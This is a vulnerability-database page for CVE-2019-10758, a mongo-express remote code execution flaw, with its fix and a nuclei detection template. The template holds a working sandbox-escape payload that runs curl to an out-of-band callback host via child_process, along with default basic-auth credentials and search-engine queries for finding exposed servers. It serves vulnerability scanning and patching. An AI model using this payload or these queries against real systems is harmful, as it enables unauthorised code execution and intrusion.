HexBrain

Browse / CVEs / CVE-2019-10758

CVE-2019-10758· mongo-express project / mongo-express

mongo-express Remote Code Execution

Exploited in the wild. Listed by CISA on 2021-12-10; known to be used by ransomware.

criticalseverity
9.9CVSS score
84.7%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment.

Impact

Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.

Fix

Upgrade mongo-express to version 0.54.0 or higher.

How to confirm it

Send: POST /checkValid
Positive when: contains in interactsh_protocol "http"

Run it with nuclei: nuclei -id CVE-2019-10758 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2019-10758

info:
  name: mongo-express Remote Code Execution
  author: princechaddha
  severity: critical
  description: mongo-express before 0.54.0 is vulnerable to remote code execution via endpoints that uses the `toBSON` method and misuse the `vm` dependency to perform `exec` commands in a non-safe environment.
  impact: |
    Successful exploitation of this vulnerability could allow an attacker to execute arbitrary code on the affected system.
  remediation: Upgrade mongo-express to version 0.54.0 or higher.
  reference:
    - https://github.com/vulhub/vulhub/tree/master/mongo-express/CVE-2019-10758
    - https://nvd.nist.gov/vuln/detail/CVE-2019-10758
    - https://snyk.io/vuln/SNYK-JS-MONGOEXPRESS-473215
    - https://github.com/CLincat/vulcat
    - https://github.com/MelanyRoob/Goby
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H
    cvss-score: 9.9
    cve-id: CVE-2019-10758
    epss-score: 0.84726
    epss-percentile: 0.99709
    cpe: cpe:2.3:a:mongo-express_project:mongo-express:*:*:*:*:*:node.js:*:*
  metadata:
    max-request: 1
    vendor: mongo-express_project
    product: mongo-express
    framework: node.js
    shodan-query:
      - http.title:"Mongo Express"
      - http.title:"mongo express"
    fofa-query: title="mongo express"
    google-query: intitle:"mongo express"
  tags: cve,cve2019,vulhub,mongo,mongo-express,kev,mongo-express_project,node.js,vkev,vuln

http:
  - raw:
      - |
        POST /checkValid HTTP/1.1
        Host: {{Hostname}}
        Authorization: Basic YWRtaW46cGFzcw==
        Content-Type: application/x-www-form-urlencoded

        document=this.constructor.constructor("return process")().mainModule.require("child_process").execSync("curl {{interactsh-url}}")

    matchers:
      - type: word
        part: interactsh_protocol # Confirms the HTTP Interaction
        words:
          - "http"

References

Use this check only on systems you are authorised to test. Where the data comes from